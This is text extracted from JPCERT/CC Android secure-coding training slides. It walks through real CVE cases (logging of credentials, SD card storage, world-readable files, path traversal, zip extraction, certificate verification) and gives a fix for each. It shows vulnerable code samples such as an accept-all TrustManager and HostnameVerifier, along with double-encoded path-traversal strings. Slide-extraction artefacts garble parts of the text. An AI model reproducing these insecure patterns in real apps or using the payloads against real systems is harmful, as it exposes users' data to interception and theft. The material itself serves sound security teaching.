android.util.Log class—Log.d (Debug)/ Log.e (Error)—Log.i (Info) / Log.v (Verbose) / Log.w (Warn)

exampleLog.v("method", Login.TAG + ", account=" + str1);
Log.v("method", Login.TAG + ", password=" + str2);

105

Copyright©2014 JPCERT/CC All rights reserved.

Obtain Log Output
declare READ_LOGS permission in the AndroidManifest.xml—Apps can read log output
AndroidManifest.xml<uses-permission android:name="android.permission.READ_LOGS"/>

call logcat from an app
exampleProcess mProc = Runtime.getRuntime().exec(
new String[]{"logcat", "-d", "method:V *:S“});
BufferedReader mReader = new BufferedReader(
new InputStreamReader(proc.getInputStream()));

106

Copyright©2014 JPCERT/CC All rights reserved.

Information Management Vulnerability

Account informationor other informationsuch as sessionID are
saved in a log file

http://jvn.jp/jp/JVN31860555/
http://madoka-magica-game.channel.or.jp/#/Application
107

Copyright©2014 JPCERT/CC All rights reserved.

Monaca accountwould have beenhijackedAttack Scenarios

Monaca Debugger
app

log output

1. Monaca debugger app
outputs the accountinformation to log
2. Malicious app can obtain
the account informationfrom the log
Information
Disclosure

Malicious app

User

108

Copyright©2014 JPCERT/CC All rights reserved.

Account information

AttackerCauses of the Vulnerability
Causes109•

Used logging for debugging purpose?

•

Released without deleting the debug code ?

•Any app with READ_LOGS permission could obtain all theother app's log output

Copyright©2014 JPCERT/CC All rights reserved.

Solutions of the Vulnerability
Solutions

•
•

•

110

App should make sure that it does not send sensitive
information to log output
Declare and use custom log class• so that log output is automatically turned on/off based on
Debug/Release
use ProGuard to delete specific method call

Copyright©2014 JPCERT/CC All rights reserved.

Android 4.0(API15) or before
Any application with READ_LOGS permission could obtainall the other app's log output
App A

App B
obtain log output

Log.v("method", Login.TAG + ",account=" + str1);

111

Copyright©2014 JPCERT/CC All rights reserved.

READ_LOGS
permission

Process mProc = Runtime.getRuntime().
exec(
new String[]{"logcat","-d","method:V *:S”});

Android 4.1(API16) or later
The behavior of READ_LOGS permission was changed—Even app with READ_LOGS permission cannot obtain log
output from other apps
App A

App B
obtain log output

READ_LOGS
permission

By connecting device to PC, log output from other app canstill be obtained112

Copyright©2014 JPCERT/CC All rights reserved.

Refer to JSSEC Secure Coding Guidebook

Sensitive information must not
be output by android.util.Log

113

Copyright©2014 JPCERT/CC All rights reserved.

CASE #10

Storing Sensitive Data inExternal Storage (SD cards)
114

Copyright©2014 JPCERT/CC All rights reserved.

CVE-2012-4007
Malicious app could accessfriends’ comments
SNS app for posting
comments, checking friends’
updates, etc.

https://play.google.com/store/apps/details?id=jp.mixi
https://jvn.jp/en/jp/JVN92038939/
115

Copyright©2014 JPCERT/CC All rights reserved.

Attack Scenario

friends’ comments

SD card

1. SNS app fetches a comment of user’s friend(supposedly sensitive)
2. SNS app saves it to SD card
3. Other app retrieves the comment from SD card
4. And send it to an attacker

Other app(malware)informationleak

attacker
116

Copyright©2014 JPCERT/CC All rights reserved.

Root Cause

friends’ comments

friends’comments

Files in SDcard can beread from other apps
file

friends’ comments

SD cardmalware117

Copyright©2014 JPCERT/CC All rights reserved.

• Friends’ comments are
saved to SD card
• The contents in SD card
can be read by otherappsSolution

friends’ comments

friends’ comments

App Directory
File with
MODE_PRIVATE
SD cardNOT
Readable

malware118

Copyright©2014 JPCERT/CC All rights reserved.

Save friends’ comments to a
file at the internal storage(application-specific directory)Refer to the JSSEC Secure Coding Guidebook
4.6.1.1. Using Private Files•Files should not be shared with other apps
•Files should be created with MODE_PRIVATE

119

Copyright©2014 JPCERT/CC All rights reserved.

CASE #11

Improper File Permissions

120

Copyright©2014 JPCERT/CC All rights reserved.

CVE-2013-2301 OpenWnn Info. Disclosure
Malicious App could access files storedin vulnerable app’s application data
directory

121

Copyright©2014 JPCERT/CC All rights reserved.

Attack Scenario

Attack Scenario
User installs and executes a malicious app

install

Mal appUser

App Market,
attacker’s site,
etc.

The malicious app steals OpenWnn’s
application data
accessUser

Application data is notsupposed to be shared
among apps but
improper filepermission make itpossible

Mal app
OpenWnn’s sensitive
data is stolen

http://jvndb.jvn.jp/en/contents/2013/JVNDB-2013-000025.html
122

Copyright©2014 JPCERT/CC All rights reserved.

Root Cause

Attack Scenario
User installs and executes maliciousapp

The access permission of the created fileinstall
was set to WORLD_READABLE.
App Market,
Mal app

Internal storage area
is expected to
Other app could read the file ifprotect
the fileprivate files,
but files can bepath is known.
accessaccessible if accesspermissions are
Mal app
improperly set.
Use
attacker’s site,
Use
etc.
r
The malicious app accesses the file in
the internal storager

123

Copyright©2014 JPCERT/CC All rights reserved.

Solution

Attack Scenario
User installs and executes malicious
app

Application data (private
files) shouldbe createdinstallInternal storage areawith the accessUseis expected tor
The malicious
app
accesses
the
file
in
permission MODE_PRIVATE
protect private files,
the internal storage
Mal app

App Market,
attacker’s site,
etc.

accessUser

124

Copyright©2014 JPCERT/CC All rights reserved.

Mal appbut files can beaccessible if accesspermissions are
improperly set.

Security Models are different in Android and Linux
Application can read any otherapplication’s data (user’s file).
What do you mean by “user”?
On Android each app has different UID
so application data should beprotected.

Application resources should be isolated
unless the resource needs to be shared
among different apps.
125
125

Copyright©2014 JPCERT/CC All rights reserved.

Saving application data in Android OS
Android provides several options for you to savepersistent application data
—Shared Preferences—Internal Storage—External Storage—SQLite Databases—Network Connection

http://developer.android.com/guide/topics/data/data-storage.html
126
126

Copyright©2014 JPCERT/CC All rights reserved.

Saving application data in Android OS
Take care where to save files…
—Shared Preferences
Those
Thoseoptions
options use
use—Internal Storage“private”“private”local
localfiles.
files.
—External Storage—SQLite Databases—Network Connection

127
127

Copyright©2014 JPCERT/CC All rights reserved.

Access Permissions of Android OS

MODE_PRIVATE
MODE_WORLD_READABLE
MODE_WORLD_WRITABLE

Context class of android.content
package defines the file accesspermissions…

128

Copyright©2014 JPCERT/CC All rights reserved.

Access Permissions of Android OS

MODE_PRIVATE
the created file can only be accessed
MODE_WORLD_READABLE
by the calling application (or all
MODE_WORLD_WRITABLE
applications sharing the same user ID).
String FILENAME = “hello_file”;
String string = “ciao world!”;
FileOutputStream fos =openFileOutput(FILENAME, Context.MODE_PRIVATE);
fos.write(string.getBytes());
fos.close();129

Copyright©2014 JPCERT/CC All rights reserved.

Access Permissions of Android OS

MODE_PRIVATE
MODE_WORLD_READABLE
MODE_WORLD_WRITABLEallow all other applications
to have read access to thecreated file.

“This constant was deprecated in API level 17. Creatingworld-readable files is very dangerous, and likely to cause
security holes in applications. It is strongly discouraged;

instead, applications should use more formal mechanism forinteractions such as ContentProvider, BroadcastReceiver, and Service.

…”130

Copyright©2014 JPCERT/CC All rights reserved.

Access Permissions of Android OS

MODE_PRIVATE
MODE_WORLD_READABLE
MODE_WORLD_WRITABLE

allow all other applications
to have write access to thecreated file.

“This constant was deprecated in API level 17. Creatingworld-writable files is very dangerous, and likely to cause
security holes in applications. It is strongly discouraged;

instead, applications should use more formal mechanism forinteractions such as ContentProvider, BroadcastReceiver, and Service.

…”131

Copyright©2014 JPCERT/CC All rights reserved.

Application sandboxing in Android OS
Android OS gives each application a distinct Linux user ID
Android OS takes advantage of Linux user-based
protection to identify and isolate application resources
If you need to share data between applications, use interprocess communication mechanism, e.g.,ContentProvider, BroadcastReceiver, Service, …
Application-specific files should be
isolated from other apps.
That is Android’s basic principle!

http://source.android.com/devices/tech/security/index.html
132

Copyright©2014 JPCERT/CC All rights reserved.

Summary

File permission of local files should
be MODE_PRIVATE
Remember the design principle of Android OS—Don’t allow other applications to access your local
files
Use IPC mechanism (such as ContentProvider) for
sharing data among apps
When you need to share data with other app, consider
the risk of malware and protect against them.

133

Copyright©2014 JPCERT/CC All rights reserved.

Refer to the JSSEC Secure Coding Guidebook
4.6.1.1. Using Private Files•Files should not be shared with other apps
•Files should be created with MODE_PRIVATE

134

Copyright©2014 JPCERT/CC All rights reserved.

CASE #12

Geolocation API andPrivacy Concern
135

Copyright©2014 JPCERT/CC All rights reserved.

Geolocation API
Enables web browsers to access geographical location
information of user's device—http://www.w3.org/TR/geolocation-API/—Specified by W3C

To use Geolocation API under WebView—Permission
android.permission.ACCESS_FINE_LOCATION
android.permission.ACCESS_COARSE_LOCATION
android.permission.INTERNET—WebView class
WebSettings#setGeolocationEnabled(true);

136

Copyright©2014 JPCERT/CC All rights reserved.

To Retrieve User’s Location Data on A Web Page
An example javascript of using Geolocation API:<script>
navigator.geolocation.getCurrentPosition(function(position) {alert(position.coords.latitude);alert(position.coords.longitude);},function(){// error});</script>137

Copyright©2014 JPCERT/CC All rights reserved.

Ask for user's consent
Should not send geolocation information to
websites without obtaining the user's consent

138

Copyright©2014 JPCERT/CC All rights reserved.

There are a lot of Vulnerable Code Out There139

Copyright©2014 JPCERT/CC All rights reserved.

Vulnerable Implementation

Send without asking user's
permission
public void onGeolocationPermissionsShowPrompt(String arg3,
GeolocationPermissions$Callback arg4) {super.onGeolocationPermissionsShowPrompt(arg3, arg4);
arg4.invoke(arg3, true, false);}

whether the permission should be retained
beyond the lifetime of a page currently being
displayed by a WebView

whether or not the origin should be allowed
to use the Geolocation API
the origin for which permissions are set
140

Copyright©2014 JPCERT/CC All rights reserved.

Attack Scenarios
Only need to induce the user to visit a website

Then, an attacker can get the user's geolocation
information
141

Copyright©2014 JPCERT/CC All rights reserved.

Summary

Only send geolocation information to a
website after obtaining the user's consent

142

Copyright©2014 JPCERT/CC All rights reserved.

CASE #13

Android Cipher List Issue

143

Copyright©2014 JPCERT/CC All rights reserved.

Best Practice for Using Cryptography“In general, try using the highest level ofpre-existing framework implementationthat can support your use case.
………

If you cannot avoid implementing yourown protocol, we strongly recommendthat you do not implement your own
cryptographic algorithms.”

http://developer.android.com/guide/practices/security.html#Crypto
144

Copyright©2014 JPCERT/CC All rights reserved.

Best Practice for Using Cryptography
When you need to implement your own protocol,
you will need
Clear understanding on the algorithm
Fine coding skill to implement the algorithm correctly
Sophisticated testing skill to verify the code is correct

As a casual application developer,
you should rely on a popular (welltested) frameworks/libraries.

145

Copyright©2014 JPCERT/CC All rights reserved.

However……

146

Copyright©2014 JPCERT/CC All rights reserved.

Android Cipher List Issue

http://op-co.de/blog/posts/android_ssl_downgrade/147

Copyright©2014 JPCERT/CC All rights reserved.

Android Cipher List Issue

RSA/MD5 is on the top!

148

Copyright©2014 JPCERT/CC All rights reserved.

… from Source code of Android 4.1_r2/*** Provides the Java side of our JNI glue for OpenSSL.
*/
public final class NativeCrypto {…………
static {// Note these are added in priority orderadd(“SSL_RSA_WITH_RC4_128_MD5”,“RC4-MD5”);add(“SSL_RSA_WITH_RC4_128_SHA”,“RC4-SHA”);
add(“TLS_RSA_WITH_AES_128_CBC_SHA”,“AES128-SHA”);
add(“TLS_RSA_WITH_AES_256_CBC_SHA”,“AES256-SHA”);
add(“TLS_ECDH_ECDSA_WITH_RC4_128_SHA”, “ECDH-ECDSA-RC4-SHA”);............

Cipher list is hard-coded
https://android.googlesource.com/platform/libcore/+/android-cts4.1_r2/luni/src/main/java/org/apache/harmony/xnet/provider/jsse/NativeCrypto.java
149

Copyright©2014 JPCERT/CC All rights reserved.

RC4-MD5 should be avoided
From Qualys SSL Labs,“SSL/TLS Deployment Best Practices”
Disable RC4
The RC4 cipher suite is considered insecure andshould be disabled. At the moment, the best attacks
we know require millions of requests, a lot of
bandwidth and time. Thus, the risk is still relatively
low, but we expect that the attacks will improve inthe future.
https://www.ssllabs.com/projects/best-practices/150

Copyright©2014 JPCERT/CC All rights reserved.

Solution

Next Page…

151

Copyright©2014 JPCERT/CC All rights reserved.

Solution

Customize the cipher list
using
setEnabledCipherSuites()

152

Copyright©2014 JPCERT/CC All rights reserved.

Solution
Customize the cipher list using
setProperty(“https.cipherSuites”,…)

http://blog.livedoor.jp/k_urushima/archives/cat_38371.html
153

Copyright©2014 JPCERT/CC All rights reserved.

CASE #14

Path Traversal

154

Copyright©2014 JPCERT/CC All rights reserved.

CVE-2013-0704: GREE Path Traversal Vulnerability

GREE
https://play.google.com/store/apps/details?id=jp.gree.android.app

Feature—Mobile social gaming app

Vulnerability—Other app could obtain the private file of the app

155

Copyright©2014 JPCERT/CC All rights reserved.

Overview of Vulnerability
The implementation of ContentProvider contained a flaw
—used openFile method for sharing image fileContentProvider#openFile—Provides a facility for other app to access your app data.

156

Copyright©2014 JPCERT/CC All rights reserved.

Vulnerable CodeIn openFile method—Obtain the last segment of a path using theUri#getLastPathSegment—Return the target file from the specified directoryjp/gree/android/sdk/ImageProvider

private static String IMAGE_DIRECTORY = localFile.getAbsolutePath();public ParcelFileDescriptor openFile(Uri paramUri, String paramString)
throws FileNotFoundException{
File file = new File(IMAGE_DIRECTORY, paramUri.getLastPathSegment());
return ParcelFileDescriptor.open(file, ParcelFileDescriptor.MODE_READ_ONLY);}
157

Copyright©2014 JPCERT/CC All rights reserved.

Uri#getLastPathSegment
Uri#getLastPathSegment internally calls
Uri#getPathSegments
public String getLastPathSegment() {// TODO: If we haven't parsed all of the segments already, just// grab the last one directly so we only allocate one string.
List<String> segments = getPathSegments();
int size = segments.size();if (size == 0) {return null;}
return segments.get(size - 1);}

158

Copyright©2014 JPCERT/CC All rights reserved.

Excerpt from Uri#getPathSegments
PathSegmentsBuilder segmentBuilder = new PathSegmentsBuilder();
int previous = 0;
int current;
while ((current = path.indexOf('/', previous)) > -1) {// This check keeps us from adding a segment if the path starts// '/' and an empty segment for "//".
if (previous < current) {String decodedSegment= decode(path.substring(previous, current));
segmentBuilder.add(decodedSegment);}
previous = current + 1;}// Add in the final path segment.
if (previous < path.length()) {segmentBuilder.add(decode(path.substring(previous)));}return pathSegments = segmentBuilder.build();}
159

Copyright©2014 JPCERT/CC All rights reserved.

Uri#getPathSegments
PathSegmentsBuilder segmentBuilder = new PathSegmentsBuilder();../../%E3%81%BB%E3%81%92%2Ejpg

int previous = 0;
divide the path into segments using
int current;
while ((current = path.indexOf('/', previous)) > -1) { "/" as a separator// This check keeps us from adding a segment if the path starts// '/' and an empty segment for "//".
if (previous < current) {String decodedSegment= decode(path.substring(previous, current));
segmentBuilder.add(decodedSegment);}
Path is separated by "/"previous = current + 1;
}

..
..

hoge.jpg

and then decoded// Add in the final path segment.
if (previous < path.length()) {segmentBuilder.add(decode(path.substring(previous)));}return pathSegments = segmentBuilder.build();}
160

Copyright©2014 JPCERT/CC All rights reserved.

Uri#getPathSegments
PathSegmentsBuilder segmentBuilder = new PathSegmentsBuilder();Whathappens
if “/” in the path is URL encoded to "%2F“ ?
intprevious= 0;
int current;
while ((current = path.indexOf('/', previous)) > -1) {// This check keeps us from adding a segment if the path starts// '/' and an empty segment for "//".
if (previous < current) {../../..%2F..%2F%E3%81%BB%E3%81%92%2Ejpg
String decodedSegment= decode(path.substring(previous, current));
segmentBuilder.add(decodedSegment);}"/" are separated,previous = current + 1;
but "%2F" are not.
}..

Therefore after the path separation,// Add in the final path segment.
the last path segment containing
if (previous < path.length()){"%2F" is decoded to “/” which..
segmentBuilder.add(decode(path.substring(previous)));allows path traversal.
}../../hoge.jpg

return pathSegments = segmentBuilder.build();}
161

Copyright©2014 JPCERT/CC All rights reserved.

Fix Applied by the Developer
Uri#getLastPathSegment is called twice

private static String IMAGE_DIRECTORY = localFile.getAbsolutePath();public ParcelFileDescriptor openFile(Uri paramUri, String paramString)
throws FileNotFoundException{
File file = new File(IMAGE_DIRECTORY,
Uri.parse(paramUri.getLastPathSegment()).getLastPathSegment());
return ParcelFileDescriptor.open(file,
ParcelFileDescriptor.MODE_READ_ONLY);}

162

Copyright©2014 JPCERT/CC All rights reserved.

Fix Applied by the Developer
Uri#getLastPathSegment is called twice../../..%2F..%2F%E3%81%BB%E3%81%92%2Ejpg

The first getLastPathSegment
private static String IMAGE_DIRECTORY = localFile.getAbsolutePath();public ParcelFileDescriptor
openFile(Uri paramUri, String paramString)../../hoge.jpg
throws FileNotFoundException{
File file = new File(IMAGE_DIRECTORY,../../hoge.jpg
Uri.parse(paramUri.getLastPathSegment()).getLastPathSegment());
return ParcelFileDescriptor.open(file,
The second getLastPathSegment
ParcelFileDescriptor.MODE_READ_ONLY);}

163

hoge.jpg
Copyright©2014 JPCERT/CC All rights reserved.

Is This Fix Enough?

164

Copyright©2014 JPCERT/CC All rights reserved.

Double Encoding
Encode the encoded text.
..%2F..%2F%E3%81%BB%E3%81%92%2Ejpg%252E%252E%252F%252E%252E%252F%25E3%2581%25BB%25E3%25
81%2592%252Ejpg

https://www.owasp.org/index.php/Double_Encoding
165

Copyright©2014 JPCERT/CC All rights reserved.

What if path is double-encoded?
How does the previous fix decode a double-encoded path?
%252E%252E%252F%252E%252E%252F%25E3%2581%25BB%25E3%2
581%2592%252Ejpg

decode "%25" to "%"
The
first
getLastPathSegment
private static String IMAGE_DIRECTORY = localFile.getAbsolutePath();public ParcelFileDescriptor
openFile(Uri paramUri, String paramString)%2E%2E%2F%2E%2E%2F%E3%81%BB%E3%81%92%2Ejpg
throws FileNotFoundException{
File file = new File(IMAGE_DIRECTORY,%2E%2E%2F%2E%2E%2F%E3%81%BB%E3%81%92%2Ejpg
Uri.parse(paramUri.getLastPathSegment()).getLastPathSegment());
return ParcelFileDescriptor.open(file,
The second getLastPathSegment
ParcelFileDescriptor.MODE_READ_ONLY);}

166../../hoge.jpg
Copyright©2014 JPCERT/CC All rights reserved.

Again, path traversal is possible

Solution
First canonicalize the path using File#getCanonicalPath. Then checkto see if the canonicalized path is under the IMAGE_DIRECTORY.
private static String IMAGE_DIRECTORY = localFile.getAbsolutePath();public ParcelFileDescriptor openFile(Uri paramUri, String paramString)
throws FileNotFoundException{
String decodedUriString = Uri.decode(paramUri.toString());
File file = new File(IMAGE_DIRECTORY,
Uri.parse(decodedUriString).getLastPathSegment());
if (file.getCanonicalPath().indexOf(localFile.getCanonicalPath()) != 0) {throw new IllegalArgumentException();}return ParcelFileDescriptor.open(file, ParcelFileDescriptor.MODE_READ_ONLY);}
167

Copyright©2014 JPCERT/CC All rights reserved.

SummaryFirst, canonicalize the path
—File#getCanonicalPath()

Then, validate the canonicalized path

Reference—https://www.securecoding.cert.org/confluence/display/java/IDS
02-J.+Canonicalize+path+names+before+validating+them—https://www.owasp.org/index.php/Double_Encoding

168

Copyright©2014 JPCERT/CC All rights reserved.

CASE #15

Unsafe Decompression of
Zip Files
169

Copyright©2014 JPCERT/CC All rights reserved.

ZIP File and Security
When extracting entries from a
ZIP archive, be prepared tomitigate Zip Bomb and Directory
Traversal attacks.

https://www.securecoding.cert.org/confluence/x/3AG-Aw
170

Copyright©2014 JPCERT/CC All rights reserved.

java.util.zip package
java.util.zip provides classes for reading from and writing to
the standard ZIP and GZIP file formats.
 ZipInputStream -- implements an input stream filter forreading ZIP files

 ZipOutputStream -- implements an output stream filter for
writing ZIP files

 ZipEntry-- represents a ZIP file entry
 GZIPInputStream -- implements an input stream filter forreading GZIP GZIPOutputStream -- implements an output stream filter for
writing GZIP files

ZipOutputStream
ZipInputStream
171

Copyright©2014 JPCERT/CC All rights reserved.

ZipBomb
A zip bomb is a small file but when it is decompressed,
its contents are more than the system can handle.
Highly compressedConsumes memory and/or disks

Decompresing Zip files
without confirming filesize could lead to DoS!!

172

Copyright©2014 JPCERT/CC All rights reserved.

More Bombs...
Zip Bomb (http://en.wikipedia.org/wiki/Zip_bomb)
42.zip (http://www.unforgettable.dk/)
Decompression bomb vulnerabilities
AERAsec Network Services and Security GmbH
http://www.aerasec.de/security/advisories/decompression-bombvulnerability.html

Check and learn about
decompression bombs!

173

Copyright©2014 JPCERT/CC All rights reserved.

Directory Traversal
Zip entries (file names) are untrusted input—Filenames in a zip file could contain special characters(such as ‘.’, ‘/’, ‘¥’ etc) to conduct path traversal attacks

document.docx
Filenames in a zip
file shouldpresentation.pptx
be checked before
the files are../../../sdcard/malwar
created in a filesystem.
epicture1.jpg
picture2.jpg

174

Copyright©2014 JPCERT/CC All rights reserved.

Vulnerable Code Example
class Unzip {static final int BUFFER = 512;}
175

public static void main(String[] args) throws FileNotFoundException,IOException {BufferedOutputStream dest = null;
ZipInputStream zis =new ZipInputStream(new BufferedInputStream(new FileInputStream(args[0])));
ZipEntry entry;
while ((entry = zis.getNextEntry()) != null){Uses entry filenames in ZIP
System.out.println(“Extracting: “ + entry);archive without verification
int count;byte data[] = new byte[BUFFER];
FileOutputStream fos = new FileOutputStream(entry.getName());
dest = new BufferedOutputStream(fos, BUFFER);
while ((count=zis.read(data,0,BUFFER)) != -1){
dest.write(data, 0, count);}
Extracts contents without
dest.flush();dest.close();verifying the resulting size}
zis.close();}Copyright©2014 JPCERT/CC All rights reserved.

Vulnerable Code Example
class Unzip {static final int BUFFER = 512;
public static void main(String[] args) throws FileNotFoundException,IOException {BufferedOutputStream dest = null;
ZipInputStream zis =new ZipInputStream(new BufferedInputStream(new FileInputStream(args[0])));
ZipEntry entry;
while ((entry = zis.getNextEntry()) != null){
System.out.println(“Extracting: “ + entry);
int count;byte data[] = new byte[BUFFER];
FileOutputStream fos = new FileOutputStream(entry.getName());
dest = new BufferedOutputStream(fos, BUFFER);
while ((count=zis.read(data,0,BUFFER)) != -1){
dest.write(data, 0, count);}dest.flush();dest.close();}zis.close();}Solution:
Verify filenames and resulting
sizes BEFORE extracting files}
176

Copyright©2014 JPCERT/CC All rights reserved.

Solution
static final int BUFFER = 512;
static final int TOOBIG = 0x6400000; // upper limit of filesize, 100MB
static final int TOOMANY = 1024; // upper limit of entries// ...
private String validateFilename(String filename, String intendedDir) {File f = new File(filename);
String canonicalPath = f.getCanonicalPath();Canonicalize the given
File iD = new File(intendedDir);
path first. Then make
String canonicalID = iD.getCanonicalPath();sure that the given path isif (canonicalPath.startsWith(canonicalID)) {in the intendedDirreturn canonicalPath;} else {throw new IllegalStateException("File is outside extraction target
directory.");}}public final void unzip(String filename) throws java.io.IOException{

Continues to the next page…
177

Copyright©2014 JPCERT/CC All rights reserved.

Solution (cont.)
public final void unzip(String filename) throws java.io.IOException{
FileInputStream fis = new FileInputStream(filename);
ZipInputStream zis = new ZipInputStream(new BufferedInputStream(fis));ZipEntry entry;
int entries = 0; int total = 0;
try {while ((entry = zis.getNextEntry()) != null) {System.out.println("Extracting: " + entry);
int count;byte data[] = new byte[BUFFER];// output a file AFTER verifying filenams and resulting file size
String name = validateFilename(entry.getName(), ".");
FileOutputStream fos = new FileOutputStream(name);
BufferedOutputStream dest = new BufferedOutputStream(fos, BUFFER);
while (total <= TOOBIG && (count = zis.read(data, 0, BUFFER)) != -1) {dest.write(data, 0, count);
total += count;}dest.flush();dest.close();zis.closeEntry();
entries++;if (entries > TOOMANY) {throw new IllegalStateException("Too many files to unzip.");}if (total > TOOBIG) {throw new IllegalStateException("File being unzipped is too big.");}}} finally { zis.close(); } }Book keeping theextracted size sothat it won’t
exceed someupper limit

178

Copyright©2014 JPCERT/CC All rights reserved.

CASE #16

Improper Certificate Verification

179

Copyright©2014 JPCERT/CC All rights reserved.

ACM CCS 2012
Why Eve and Mallory Love Android: An Analysis ofAndroid SSL (In)Security
http://www2.dcsec.uni-hannover.de/files/android/p50-fahl.pdf

The Most Dangerous Code in the World: Validating SSL
Certificates in Non-Browser Software
https://crypto.stanford.edu/~dabo/pubs/abstracts/ssl-client-bugs.html

Many apps misuse SSL/TLS libraries!!
- Do not verify certificates- Do not verify hostname part, etc.
180

Copyright©2014 JPCERT/CC All rights reserved.

25% of Apps vulnerable to HTTPS handling¼ of android
applications
contain HTTPS
relatedvulnerabilities

Android Application Vulnerability Research Report, Oct., 2013
http://www.sonydna.com/sdna/solution/android_vulnerability_report_201310.pdf
181

Copyright©2014 JPCERT/CC All rights reserved.

Root Cause of HTTPS Vulnerabilities

Customized X509TrustManager
Customized WebViewClient#onReceivedSslError
Customized HostnameVerifierFig.8 Causes of HTTPS-related
Vulnerabilities

Android Application Vulnerability Research Report, Oct., 2013
http://www.sonydna.com/sdna/solution/android_vulnerability_report_201310.pdf
182

Copyright©2014 JPCERT/CC All rights reserved.

Vulnerabilities published on JVN
Kindle App for Android fails to verify SSL server certificates(https://jvn.jp/en/jp/JVN17637243/)
Ameba for Android contains an issue where it fails to verify
SSL server certificates (https://jvn.jp/en/jp/JVN27702217/)
Outlook.com for Android contains an issue where it fails toverify SSL server certificates (https://jvn.jp/en/jp/JVN72950786/)
JR East Japan App for Android. contains an issue where it fails
to verify SSL server certificates(https://jvn.jp/en/jp/JVN10603428/)
Denny's App for Android. contains an issue where it fails toverify SSL server certificates (https://jvn.jp/en/jp/JVN48810179/)
Yahoo! Japan Shopping for Android contains an issue where it
fails to verify SSL server certificates(https://jvn.jp/en/jp/JVN75084836/)………
183

Copyright©2014 JPCERT/CC All rights reserved.

Pizza Order App fails to verify SSL Server Certificates

You canorder pizzadelivery

The transaction
contains users’
personal
information

https://jvn.jp/en/jp/JVN39218538/index.html
https://play.google.com/store/apps/details?id=jp.pizzahut.aorder
184

Copyright©2014 JPCERT/CC All rights reserved.

The
vulnerability
allows MITM
attack!!

Attack Scenario
1. App requests SSL/TLS
connection

Attacker

Pizza order app

malicious
certificate

user

185

3. App proceeds
the session
WITHOUT
verifying thecertificate

Copyright©2014 JPCERT/CC All rights reserved.

Impersonating
The server

2. Responds with amalicious certificate

Vulnerable Codejp/pizzahut/aorder/data/DataUtil.java

public static HttpClient getNewHttpClient() {DefaultHttpClient v6;
try {KeyStore v5 = KeyStore.getInstance(KeyStore.getDefaultType());
v5.load(null, null);
MySSLSocketFactory mySSLScoket = new MySSLSocketFactory(v5);
if(PizzaHutDefineRelease.sAllowAllSSL) {((SSLSocketFactory)mySSLScoket).setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);}
BasicHttpParams v2 = new BasicHttpParams();
HttpConnectionParams.setConnectionTimeout(((HttpParams)v2), 30000);...
}
catch(Exception v1) {v6 = new DefaultHttpClient();}
return ((HttpClient)v6);}
186

Copyright©2014 JPCERT/CC All rights reserved.

Other Vulnerable Code Pattern
empty TrustManager

TrustManager tm = new X509TrustManager() {@Override
public void checkClientTrusted(X509Certificate[] chain,
String authType) throws CertificateException {// do nothing, hence accepts any certificates}@Override
public void checkServerTrusted(X509Certificate[] chain,
String authType) throws CertificateException {// do nothing, hence accepts any certificates}@Override
public X509Certificate[] getAcceptedIssuers() {return null;}};

empty HostnameVerifier

HostnameVerifier hv = new HostnameVerifier() {@Override
public boolean verify(String hostname, SSLSession session) {// always returns true, hence accepts any hostnames
return true;
}
};
187

Copyright©2014 JPCERT/CC All rights reserved.

Mitigation
Verify SSL/TLS certificates properly
Additional mitigation: communicate with certain servers
only—SSL Pinning—http://nelenkov.blogspot.com/2012/12/certificate-pinning-inandroid-42.html

See “Android Application Secure Design / Secure Coding
guidebook”, section 5.4, Communicating via HTTPS—SSLException must be handled properly—TrustManager must not be customized—HostnameVerifier must not be customized

188

Copyright©2014 JPCERT/CC All rights reserved.

Refer to JSSEC Secure Coding Guidebook
5.4.1.2 Communicating via HTTPS

5.4. 2 Rule Book

189

Copyright©2014 JPCERT/CC All rights reserved.

Don’t customize
TrustManager and
HostnameVerifier

Fake ID vulnerability
Android Fake ID Vulnerability Lets Malware
Impersonate Trusted Applications, Puts All
Android Users Since January 2010 At Risk
https://bluebox.com/technical/android-fake-id-vulnerability/

Presented at BlackHat 2014 USA
ANDROID FAKEID VULNERABILITY WALKTHROUGH
https://www.blackhat.com/us-14/archives.html#android-fakeid-vulnerability-walkthrough190

Copyright©2014 JPCERT/CC All rights reserved.

Fake ID vulnerabilityAndroid apps are digitally signed
Android OS verifies the signature when installing apps
Signature verifier code comes from the old ApacheHarmony code
The signature verifier code had problem; it couldn’t verify
certificate-chaining properly.

MORAL

Certificate verification is a complicated process.
If you need to develop your own verification code,
you need a clear understanding, fine coding skill, andsophisticated testing phase.
191

Copyright©2014 JPCERT/CC All rights reserved.

References
SSL Vulnerabilities: Who listens when Android applications
talk?
— http://www.fireeye.com/blog/technical/2014/08/ssl-vulnerabilitieswho-listens-when-android-applications-talk.html

Why Eve and Mallory Love Android: An Analysis of Android
SSL (In)Security— http://www2.dcsec.uni-hannover.de/files/android/p50-fahl.pdf

Defeating SSL Certificate Validation for Android Applications— https://secure.mcafee.com/us/resources/white-papers/wpdefeating-ssl-cert-validation.pdf

OnionKit by Android Library Project for Multi-Layer Network
Connections (Better TLS/SSL and Tor)— https://github.com/guardianproject/OnionKit

Android Pinning by Moxie Marlinspike— https://github.com/moxie0/AndroidPinning

192

Copyright©2014 JPCERT/CC All rights reserved.

Part 3

Exercise: Vulnerability

193

Copyright©2014 JPCERT/CC All rights reserved.

Using tools
mitmproxy or Fiddler—proxy tool

apktool—reverse engineering tooldex2jar—convert dex to jar file

JD-GUI—decompile for Java

194

Copyright©2014 JPCERT/CC All rights reserved.

Install mitmproxy
mitmproxy—http://mitmproxy.org/—Installation
pip install mitmproxyin Windows—Install Python—https://www.python.org/

195

Copyright©2014 JPCERT/CC All rights reserved.

Install Fiddler
Fiddler—http://www.telerik.com/fiddler

Configure Fiddler to capture traffic from Android apps
—Click [Tools] > [Fiddler Options]
Click [HTTPS] > [Decrypt HTTPS traffic]
Click [Connections] > [Allow remote computers to connect]

196

Copyright©2014 JPCERT/CC All rights reserved.

apktool
apktool—https://code.google.com/p/android-apktool/—for reverse engineering apk files—Features
decode resources
rebuildetc.

197

Copyright©2014 JPCERT/CC All rights reserved.

dex2jar
dex2jar—https://code.google.com/p/dex2jar/—convert Android dex file to Java class file198

Copyright©2014 JPCERT/CC All rights reserved.

JD-GUIJD-GUI—http://jd.benow.ca/—Decompiler for Java

199

Copyright©2014 JPCERT/CC All rights reserved.

SSL Vulnerability

200

Copyright©2014 JPCERT/CC All rights reserved.

SSL Vulnerability
Many app contains SSL vulnerability.
—The FireEye Mobile Security Team analyzed the 1,000 mostdownloaded free apps in Google Play. They found SSL
Vulnerability in about 68% of apps.

